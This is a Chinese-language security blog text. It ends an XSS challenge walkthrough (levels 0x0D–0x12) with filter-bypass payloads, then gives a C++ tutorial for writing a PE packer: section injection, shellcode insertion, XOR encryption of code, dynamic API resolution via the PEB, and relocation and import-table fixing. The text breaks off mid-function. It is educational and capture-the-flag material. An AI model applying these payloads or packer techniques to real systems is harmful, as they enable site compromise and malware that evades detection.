在B的基础上过滤掉了script标签,无所谓还是上面的绕过方式:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

说明一下,如果用script标签的话,可以双写绕过,具体见SQLlabs;

0X0D

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

屏蔽了特殊符号;

回车加注释 –>

1
2
alert(1); 
-->

0X0E

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将字符开头的内容替换为_开头,解决了html标签的闭合;

有特殊写法绕过toUpperCase:
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

所以:

1
<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

在属性中编码仍然有效,也就是之前说的””内:

1
'); alert(1); //

0x10

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

一道非常简单只需要闭合就行的题:

1
2
123;
alert(1)

0x11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

这道题给我一种宽字节注入的既视感,将字符都进行转义为\;

实际上也是和0x0F一样的类型;

1
"); alert(1); //

0x12

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

不让用”但是可以双转义,用自己的斜杠去转义它的斜杠:

1
\"); alert(1);//
阅读全文
壳进阶

壳的原理

PE文件到运行时经过的几步重要步骤:

  • 将硬盘中的PE文件复制到内存中;
  • 按内存对齐值对齐;
  • 加载dll等模块;
  • 修复IAT,重定位表;
  • 进入OEP(Original Entry Point)开始执行

壳的原理则是修改OEP (可选PE头) 指向自身代码的地址,执行完后返回真正的OEP;

壳位于PE文件所处位置需要是可执行区段内,如.text;

计算OEP偏移地址用于jmp指令返回公式:

jmp E9 xxxxxxxx = OEP - 此指令下一指令地址

添加shellcode到PE

使用010editor:

  1. 添加一个空白区段在PE末尾 (1000h同时满足文件内存对齐);
  2. 添加一个区段头;
  3. 修正新加区段的属性(通过最后一个区段头开始以及大小计算新加区段的各属性);
  4. 修改 numberofsections (PE头);
  5. 修改 sizeofimage (可选PE头);
  6. 将shellcode粘贴于新区段处;
  7. 修改OEP于shellcode处;

如果遇到区段头无空余部分问题,可将PE头和区段头之间内容平移向上覆盖掉DOS存根,并且改掉 lfanew 偏移,之后可添加;

亦或者直接扩大最后一个区段,并修改属性;

或者合并区段:

  1. 读取PE文件模拟内存对齐对每个区段进行拉伸(防止其他区段合并后偏移错误);
  2. 只保留第一个区段头信息,其他填充0;
  3. 修改第一个区段头属性;
  4. 修改numberofsections;
  5. 将更改后的PE文件保存为新文件;

这样做会导致原文件扩大,但在内存中的大小不会改变,此时有足够的空间塞入壳代码;

加壳

为壳代码写入准备

如之前插入区段的方式与思路用代码操作PE,此时创建一个叫MyShell的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class MyShell
{
private:
char* fileBuff;
DWORD fileSize;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_FILE_HEADER pFileHeader;
PIMAGE_OPTIONAL_HEADER pOptionHeader;
PIMAGE_SECTION_HEADER pSectionHeader;

public:
MyShell();
~MyShell();
BOOL LoadFile(const char* path);
BOOL SaveFile(const char* path);
BOOL InitFileInfo();
BOOL InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics);
DWORD GetAlignSize(DWORD realSize, DWORD alignSize);
BOOL EncodeSections();
DWORD GetOep();
void SetOep(DWORD OEP);
};

第一步,读取文件并创建buffer保存PE镜像;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL MyShell::LoadFile(const char* path)
{
//打开文件
HANDLE hFile = CreateFileA(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//获取镜像
fileSize = GetFileSize(hFile, 0);
fileBuff = new char[fileSize] {};
if (ReadFile(hFile, fileBuff, fileSize, 0, 0) == FALSE)
{
MessageBoxA(0, "文件获取失败!", "异常", 0);
return FALSE;
}
InitFileInfo();
CloseHandle(hFile);

return TRUE;
}

第二步,解析PE(各个头);

1
2
3
4
5
6
7
8
9
10
11
//基于 fileBuff 镜像
BOOL MyShell::InitFileInfo()
{
pDosHeader = (PIMAGE_DOS_HEADER)fileBuff;
pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + fileBuff);
pFileHeader = &(pNtHeader->FileHeader);
pOptionHeader = &(pNtHeader->OptionalHeader);
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFileHeader->SizeOfOptionalHeader + (DWORD)pOptionHeader);

return TRUE;
}

第三步,插入区段和区段头,设置属性并修改PE某些字段;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
BOOL MyShell::InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics)
{
//判断节区头是否剩下两个头的空位
DWORD SectionCount = pFileHeader->NumberOfSections;
DWORD EndOfSectionHeader = (DWORD)pSectionHeader + SectionCount * IMAGE_SIZEOF_SECTION_HEADER;
DWORD BeginOfSection = (DWORD)fileBuff + pOptionHeader->SizeOfHeaders;
if (BeginOfSection - EndOfSectionHeader < IMAGE_SIZEOF_SECTION_HEADER * 2)
{
MessageBoxA(0, "插入失败,节区头大小不足!", "异常", 0);
return FALSE;
}
//获取新PE文件大小并建立新buff存放新PE
DWORD newFileSize = GetAlignSize(fileSize + codeSize, pOptionHeader->FileAlignment);
char* newFileBuff = new char[newFileSize] {};
memcpy_s(newFileBuff, newFileSize, fileBuff, fileSize);
fileSize = newFileSize;
delete[] fileBuff;
fileBuff = newFileBuff;
InitFileInfo();
//新增区段添加区段头并添加属性:名字,内存大小,文件大小,内存地址,文件偏移,权限
PIMAGE_SECTION_HEADER lastSectionHeader = pSectionHeader + (SectionCount - 1);
PIMAGE_SECTION_HEADER newSectionHeader = lastSectionHeader + 1;
strcpy_s((char *)newSectionHeader->Name, 8, sectionName);
newSectionHeader->Misc.VirtualSize = GetAlignSize(codeSize, pOptionHeader->SectionAlignment);
newSectionHeader->SizeOfRawData = GetAlignSize(codeSize, pOptionHeader->FileAlignment);
newSectionHeader->VirtualAddress = lastSectionHeader->VirtualAddress + GetAlignSize(lastSectionHeader->Misc.VirtualSize, pOptionHeader->SectionAlignment);
newSectionHeader->PointerToRawData = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
newSectionHeader->Characteristics = dwCharateristics;
newSectionHeader->PointerToLinenumbers = 0;
newSectionHeader->PointerToRelocations = 0;
newSectionHeader->NumberOfLinenumbers = 0;
newSectionHeader->NumberOfRelocations = 0;
//修改numberofsections以及sizeofimage
pFileHeader->NumberOfSections++;
pOptionHeader->SizeOfImage += GetAlignSize(codeSize, pOptionHeader->SectionAlignment);

//添加shellcode
char* sectionBuff = newSectionHeader->PointerToRawData + fileBuff;
memcpy(sectionBuff, codeBuff, codeSize);

return TRUE;
}

//内存对齐
DWORD MyShell::GetAlignSize(DWORD realSize, DWORD alignSize)
{
if (realSize % alignSize == 0)
return realSize;
return (realSize / alignSize + 1) * alignSize;
}

第四步,保存文件;

1
2
3
4
5
6
7
8
9
10
11
12
BOOL MyShell::SaveFile(const char* path)
{
HANDLE hFile = CreateFileA(path, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (WriteFile(hFile, fileBuff, fileSize, 0, 0) == FALSE)
{
MessageBoxA(0, "保存文件失败!", "异常", 0);
return FALSE;
}
CloseHandle(hFile);

return TRUE;
}

至此,用代码实现了之前用010手动粘贴shellcode之前的所有步骤;

对原程序编码加密

加壳难度逐级递进,此时先考虑对.text段的加密,因为.data段有IAT表等东西需要处理;

1
2
3
4
5
6
7
8
9
BOOL MyShell::EncodeSections()
{
int key = 0xBC;
char* pData = pSectionHeader->PointerToRawData + fileBuff;
for (int i = 0; i < pSectionHeader->SizeOfRawData; i++)
pData[i] ^= key;

return TRUE;
}

制作壳代码

之前写的壳代码是需要手动从ida里扣的,这里的壳代码写在dll文件里,使用link命令合并区段只剩代码段,此时第一节区便是需要的shellcode;

1
2
3
4
5
//代码段数据段合并
#pragma comment(linker,"/merge:.data=.text")
#pragma comment(linker,"/merge:.rdata=.text")
//设置属性
#pragma comment(linker,"/section:.text,RWE")

壳代码的特点:

  • 拥有解密功能;
  • 拥有保护功能;

难点:

  • 壳代码是后期写入文件里,系统无法修复壳代码的iat,需要动态调用API;
  • 壳代码如果有全局变量,会涉及到重定位,需要修复壳的重定位表;

其具体构造如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
_declspec(naked) void Code()
{
//保存寄存器环境
__asm pushad
//实现逻辑
GetAPI();
DecodeSections();
MyCode();
//恢复寄存器环境并跳入真正OEP
__asm popad
__asm jmp g_OepInfo.oldOEP;
}

原OEP以及新OEP的传递需要用到dll的结构体导出,以便exe和dll交换OEP信息,其结构体如下所示:

1
2
3
4
5
6
7
8
9
typedef struct _OEPINFO
{
DWORD newOEP;
DWORD oldOEP;
}OEPINFO, * POEPINFO;

extern "C" _declspec(dllexport) OEPINFO g_OepInfo;

OEPINFO g_OepInfo = { (DWORD)Code };

在之前的MyShell类里给出了OEP的set和get方法:

1
2
3
4
5
6
7
8
9
10
11
12
DWORD MyShell::GetOep()
{
return pOptionHeader->AddressOfEntryPoint + pOptionHeader->ImageBase;
}

//输入的OEP实际上为Code函数距离其节区开始的偏移
void MyShell::SetOep(DWORD OEP)
{
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
pOptionHeader->AddressOfEntryPoint = pLastSectionHeader->VirtualAddress + OEP;
}

动态调用API

首先是GetAPI的实现,如何动态获取API地址呢,在上一篇ShellCode中说明了需要利用PEB来获取kernel32的基址从而找到LoadLibrary以获取所有可使用的API;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//获取kernel32或者kernelbase
DWORD GetEssentialModule()
{
DWORD dwBase = 0;
__asm
{
mov eax, dword ptr fs : [0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x1c]
mov eax, [eax]
mov eax, [eax + 0x8]
mov dwBase, eax
}

return dwBase;
}

//根据导出表寻址函数
DWORD MyGetProcAddress(DWORD hModule, LPCSTR funcName)
{
//获取NT头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
//获取导出表
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress) + (DWORD)hModule);
//名称表,序号表,地址表
DWORD* nameTable = (DWORD*)(exportTable->AddressOfNames + (DWORD)hModule);
WORD* oridinalTable = (WORD*)(exportTable->AddressOfNameOrdinals + (DWORD)hModule);
DWORD* addressTable = (DWORD*)(exportTable->AddressOfFunctions + (DWORD)hModule);
//获取函数地址
for (int i = 0; i < exportTable->NumberOfNames; i++)
{
//获取函数名
char* name = (char*)(nameTable[i] + (DWORD)hModule);
if (!strcmp(name, funcName))
return addressTable[oridinalTable[i]] + (DWORD)hModule;
}

return 0;
}

//获取之后所要用到的API
void GetAPI()
{
DWORD kernelBase = GetEssentialModule();
//获取LoadlibraryEx
g_MyLoadLibraryExA = (MyLoadLibraryExA)MyGetProcAddress(kernelBase, "LoadLibraryExA");
//动态加载kernel32.dll
HMODULE kernel32Base = g_MyLoadLibraryExA("kernel32.dll", 0, 0);
g_MyGetProcAddress = (MYGetProcAddress)MyGetProcAddress((DWORD)kernel32Base, "GetProcAddress");
g_MyGetModuleHandleA = (MyGetModuleHandleA)g_MyGetProcAddress(kernel32Base, "GetModuleHandleA");
g_MyVirtualProtect = (MyVirtualProtect)g_MyGetProcAddress(kernel32Base, "VirtualProtect");
HMODULE user32Base = g_MyLoadLibraryExA("user32.dll", 0, 0);
g_MyMessageBoxA = (MyMessageBoxA)g_MyGetProcAddress(user32Base, "MessageBoxA");
}

对以上使用到的全局变量定义为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
typedef HMODULE (WINAPI * MyLoadLibraryExA)(
LPCSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);

MyLoadLibraryExA g_MyLoadLibraryExA = NULL;

typedef FARPROC (WINAPI * MYGetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);

MYGetProcAddress g_MyGetProcAddress = NULL;

typedef HMODULE (WINAPI * MyGetModuleHandleA)(
LPCSTR lpModuleName
);

MyGetModuleHandleA g_MyGetModuleHandleA = NULL;

typedef BOOL (WINAPI * MyVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

MyVirtualProtect g_MyVirtualProtect = NULL;

typedef int (WINAPI * MyMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

MyMessageBoxA g_MyMessageBoxA = NULL;

之后,在解密部分实现里,就可以使用API来操作数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BOOL DecodeSections()
{
int key = 0xBC;
//写入后,得到exe的镜像基址,并获取其节区
HMODULE hModule = g_MyGetModuleHandleA(0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
char* sectionBuff = (char *)(pSectionHeader->VirtualAddress + (DWORD)hModule);
//解密
DWORD oldProtect;
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, PAGE_EXECUTE_READWRITE, &oldProtect);
for (int i = 0; i < pSectionHeader->SizeOfRawData; i++)
sectionBuff[i] ^= key;
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, oldProtect, &oldProtect);

return TRUE;
}

void MyCode()
{
g_MyMessageBoxA(0, "壳代码执行!", "提示", 0);
}

此时便有了dll文件,在之前的MyShell类的main函数中做出如下拼装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define CHARACTERISTICS 0xE00000E0

typedef struct _OEPINFO
{
DWORD newOEP;
DWORD oldOEP;
}OEPINFO, * POEPINFO;

int main()
{
MyShell myShell;

if (argc < 2)
{
printf("\nUsage: %s + ./file_you_want_pack\n\n", argv[0]);
return 0;
}
char* path = argv[1];

//载入目标exe并对节区加密
myShell.LoadFile(path);
myShell.EncodeSections();
//载入上面编写好的dll文件
HMODULE hModule = LoadLibraryA("ShellCode.dll");
//获取OEP信息结构
POEPINFO pOepInfo = (POEPINFO)GetProcAddress(hModule, "g_OepInfo");
pOepInfo->oldOEP = myShell.GetOep();

//获取dll的节区位置,这是需要的shellcode
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
char* buff = (char*)(pDllSectionHeader->VirtualAddress + (DWORD)hModule);
//将shellcode“粘贴”进目标exe文件
myShell.InsertSection("BcShell", pDllSectionHeader->Misc.VirtualSize, buff, CHARACTERISTICS);

//设置新的OEP指向
myShell.SetOep(pOepInfo->newOEP - (DWORD)hModule - pDllSectionHeader->VirtualAddress);

myShell.SaveFile(path);

return 0;
}

至此一个加壳项目就 “完成” 了;

但这里任然保留了一个难点还没攻克:重定位表,在shellcode里编写的对全局变量引用的地址和在写入目标exe后所对应的地址是有问题的;

修复重定位表

重定位表结构

重定位表记录编译之前立即数地址所对应内容的位置,用于编译期间修复立即数,防止基址变化引起的立即数定位错误(类似于IAT在编译期间会修复原本指向名称为准确的地址);

其位于datadirectory[5];

重定位表中只有两个字段:VirtualAddress,SizeOfBlock,都为DWORD类型;

一个程序可能有多张重定位表;

其结构如下图所示:

relocate

其中sizeofblock为整个结构的大小(DWORD区域和WORD区域);

virtualaddress存放的内容一般为0x1000的整数倍;

word类型区域存放数据加上virtualaddress的数据则是某个立即数的准确rva;

这些rva转换为va之后,存的是立即数,而不是立即数对应的变量值;

举例:

重定位表上的偏移带过去,内存中存的是 “全局变量的地址”a ,因为挪动让a发生变化,所以修复的是a,计算a在fileBuff镜像中的位置,给填入原先的重定位表的每个偏移存放的地址处,就完成了修复;

word类型区域存放数据:0001 0000 0000 0000 ,高4位用于标识:0011为有效,其他位才是用来加virtualaddress的数据;

关于0x1000是对于4KB内存页的对齐,节省内存空间才这么设计的上述结构;

修复开始

对于将要修复的重定位表是针对于注入后的壳代码而言的,通过一个共同点:立即数地址对节区的偏移不变

思路

  • 从dll中拿到原本的重定位表里的所有rva,利用这个rva和节区rva计算不变的相对偏移offset;
  • 通过offset再拿到镜像中这些立即数的存放PA地址,此时也就得到了立即数;
  • 再用同样的方法用立即数获取对应变量在镜像中新的立即数地址,并利用得到的PA地址来替换这些立即数;

对MyShell类新增函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//修复插入后壳代码的个别立即数
BOOL MyShell::RepairRelocate(DWORD imageBase)
{
//获取dll重定位表
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
PIMAGE_OPTIONAL_HEADER pDllOptionHeader = &(pDllNtHeader->OptionalHeader);
PIMAGE_BASE_RELOCATION pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllOptionHeader->DataDirectory[5].VirtualAddress + imageBase);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);

//遍历重定位表
while (pDllRelocate->SizeOfBlock)
{
//取word类型个数
DWORD reCount = (pDllRelocate->SizeOfBlock - 8) / 2;
char* begin = (char *)pDllRelocate + 8;

//遍历每个小数
for (int i = 0; i < reCount; i++)
{
WORD* pRelocRva = (WORD*)begin;
//有效位判断
if ((*pRelocRva & 0x3000) == 0x3000)
{
//取DLL内立即数rva
DWORD relocRva = (*pRelocRva & 0xfff) + pDllRelocate->VirtualAddress;
//计算offset
DWORD offset = relocRva - pDllSectionHeader->VirtualAddress;
//计算镜像中立即数地址
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
DWORD destAddr = offset +(DWORD)(fileBuff + pLastSectionHeader->PointerToRawData);

//计算变量相对节区offset
offset = (*(DWORD*)destAddr - imageBase) - pDllSectionHeader->VirtualAddress;
//计算变量于镜像内新VA并修改
DWORD aimVA = offset + (pLastSectionHeader->VirtualAddress + pOptionHeader->ImageBase);
*(DWORD*)destAddr = aimVA;
}
begin += 2;
}
pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllRelocate->SizeOfBlock + (DWORD)pDllRelocate);
}

return TRUE;
}

对于以上实现的加壳项目只适用于32位且固定基址的程序;

固定基址的原因:全局变量的VA计算用到了dll的imagebase,OEP的提取也用到了imagebase;

动态基址问题

思路是将dll的重定位表也扔到加壳程序里,利用操作系统对壳代码修复重定位表;

此时壳代码可以畅通无阻地运行,则可以在壳代码中动态的获取程序基址计算OEP,修复原程序重定位表;

思路:

  • 塞入dll壳代码与重定位表;
  • 修复壳代码对应固定基址时立即数;
  • 修复重定位表(重定位表的virtualAddress相对加壳程序而言);
  • 修改加壳程序datadirectory[5]字段;
  • 修复原程序重定位表;

步骤一,更改了main中对insertSection的输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
	//获取OEP信息结构
POEPINFO pOepInfo = (POEPINFO)GetProcAddress(hModule, "g_OepInfo");
pOepInfo->oldOEP = myShell.GetOep();
------

//保存旧重定位表信息
DWORD oldRelocSize = 0;
char * oldReloc = myShell.SaveOldReloc(&oldRelocSize);
//保存PE文件名
PPENAME PeName = (PPENAME)GetProcAddress(hModule, "g_PeName");
strcpy_s(PeName->name, path);

//获取dll的节区位置,这是需要的shellcode
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
char* buff = (char*)(pDllSectionHeader->VirtualAddress + (DWORD)hModule);
//获取导入表
myShell.GetImportTable();
//获取dll重定位表
char* pDllRelocate = (char *)(pDllNtHeader->OptionalHeader.DataDirectory[5].VirtualAddress + (DWORD)hModule);
//计算插入Buff
DWORD finalSize = oldRelocSize + pDllSectionHeader->Misc.VirtualSize + pDllNtHeader->OptionalHeader.DataDirectory[5].Size + myShell.GetImportTableSize();
char* finalBuff = new char[finalSize];
char* p = finalBuff;
memcpy(p, buff, pDllSectionHeader->Misc.VirtualSize);
p += pDllSectionHeader->Misc.VirtualSize;
if (oldReloc)
memcpy(p, oldReloc, oldRelocSize);
p += oldRelocSize;
memcpy(p, pDllRelocate, pDllNtHeader->OptionalHeader.DataDirectory[5].Size);

------
//将shellcode以及dll重定位表“粘贴”进目标exe文件
char* sectionBuff = myShell.InsertSection("BcShell", finalSize, finalBuff, CHARACTERISTICS);
delete[] finalBuff;

虚线内为更改部分,这使得插入的节区大小可以满足shellcode以及重定位表和原程序自己导入表和原重定位表的大小;

对于新增加的函数:SaveOldReloc()和 GetImportTable(),前者有以下说明,后者放在下一个小标题讲解;

1
2
3
4
5
6
7
char * MyShell::SaveOldReloc(DWORD * size)
{
*size = pOptionHeader->DataDirectory[5].Size;
char* reloc = Rva2Foa(pOptionHeader->DataDirectory[5].VirtualAddress) + fileBuff;

return reloc;
}

由于要修改加壳程序的datadirectory[5]字段,所以要先把原来的保存起来,以修复原程序的重定位表;

步骤二三四由之前的 RepairRelocate() 函数修改而来,首先对类定义了一些成员和方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
DWORD inRelocSize;
PIMAGE_BASE_RELOCATION inRelocTable;
------

DWORD MyShell::Foa2Rva(DWORD foa)
{
DWORD rva = 0;
for (PIMAGE_SECTION_HEADER p = pSectionHeader; p->Name != NULL; p++)
{
if (foa >= p->PointerToRawData && foa < p->PointerToRawData + p->SizeOfRawData)
{
rva = foa + p->VirtualAddress - p->PointerToRawData;
break;
}
}

return rva;
}

DWORD MyShell::Rva2Foa(DWORD rva)
{
DWORD foa = 0;
for (PIMAGE_SECTION_HEADER p = pSectionHeader; p->Name != NULL; p++)
{
if (rva >= p->VirtualAddress && rva < p->VirtualAddress + p->Misc.VirtualSize)
{
foa = rva - p->VirtualAddress + p->PointerToRawData;
break;
}
}

return foa;
}

BOOL MyShell::GetInRelocTable(char* sectionBuff, DWORD offset)
{
inRelocTable = (PIMAGE_BASE_RELOCATION)(sectionBuff + offset);
PIMAGE_BASE_RELOCATION pInR = inRelocTable;

while (pInR->SizeOfBlock)
{
inRelocSize++;
pInR++;
}

return TRUE;
}

//修改后的
BOOL MyShell::RepairRelocate(DWORD imageBase, char* sectionBuff,DWORD offset)
{
//获取dll重定位表
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
PIMAGE_OPTIONAL_HEADER pDllOptionHeader = &(pDllNtHeader->OptionalHeader);
PIMAGE_BASE_RELOCATION pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllOptionHeader->DataDirectory[5].VirtualAddress + imageBase);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);

//shellcode段RVA
DWORD shellCodeRVA = Foa2Rva(sectionBuff - fileBuff);
PIMAGE_BASE_RELOCATION pInR = inRelocTable;

//遍历重定位表
while (pDllRelocate->SizeOfBlock)
{
//取word类型个数
DWORD reCount = (pDllRelocate->SizeOfBlock - 8) / 2;
char* begin = (char *)pDllRelocate + 8;

//遍历每个小数
for (int i = 0; i < reCount; i++)
{
WORD* pRelocRva = (WORD*)begin;
//有效位判断
if ((*pRelocRva & 0x3000) == 0x3000)
{
//取DLL内立即数rva
DWORD relocRva = (*pRelocRva & 0xfff) + pDllRelocate->VirtualAddress;
//计算offset
DWORD offset = relocRva - pDllSectionHeader->VirtualAddress;
//计算镜像中立即数地址
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
DWORD destAddr = offset +(DWORD)(fileBuff + pLastSectionHeader->PointerToRawData);

//计算变量相对节区offset
offset = (*(DWORD*)destAddr - imageBase) - pDllSectionHeader->VirtualAddress;
//计算变量于镜像内新VA并修改
DWORD aimVA = offset + (pLastSectionHeader->VirtualAddress + pOptionHeader->ImageBase);
*(DWORD*)destAddr = aimVA;
}
begin += 2;
}
//修复壳代码重定位表
pInR->VirtualAddress = pDllRelocate->VirtualAddress - pDllSectionHeader->VirtualAddress + shellCodeRVA;
pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllRelocate->SizeOfBlock + (DWORD)pDllRelocate);
pInR++;
}
//修改目标data目录指向注入重定位表
DWORD ss = 0;
SaveOldReloc(&ss);
DWORD tableNewRva = Foa2Rva((DWORD)sectionBuff + offset - (DWORD)fileBuff - ss);
pOptionHeader->DataDirectory[5].VirtualAddress = tableNewRva;
pOptionHeader->DataDirectory[5].Size += pDllOptionHeader->DataDirectory[5].Size;

return TRUE;
}

步骤五,实则已经实现,在步骤一将两张重定位表顺序插入shellcode之后,且在上面的代码中最后几段将导入表size更改为了两个size叠加;

用这个方法可以绕过动态基质,但是这个架构写出的壳有个bug,导致原程序加壳后变成固定基址了…虽然可以正常跑….

加密导入表

此步骤针对于程序安全性质而言;

针对加壳程序的导入表加密,对API进行保护;

步骤:

  • 转移导入表进新区段,并抹掉原导入表(填充00,并将datadirectory[1]指向一个假表);
  • 对API名称加密;
  • 对新导入表加密;
  • 于壳代码中解密并手动模拟导入表的修复(使用对应dll的导出表);

此处只给出了转移导入表部分的代码,对于后期加密部分可参考上一篇 Windows_ShellCode;

当此处实现后,因为可以由代码自己修复导入表和重定位表,则原程序的.idata段和.reloc段就随便乱改都没问题了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//新增字段
DWORD importTableSize;
PIMAGE_IMPORT_DESCRIPTOR pImportTable;
------

char* MyShell::GetImportTable()
{
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(Rva2Foa(pOptionHeader->DataDirectory[1].VirtualAddress) + (DWORD)fileBuff);
for (PIMAGE_IMPORT_DESCRIPTOR p = pImportTable; p->Name != NULL; p++)
importTableSize++;
importTableSize++;
importTableSize *= sizeof(IMAGE_IMPORT_DESCRIPTOR);

return (char *)pImportTable;
}

BOOL MyShell::MoveImportTable(char* sectionBuff, DWORD offset)
{
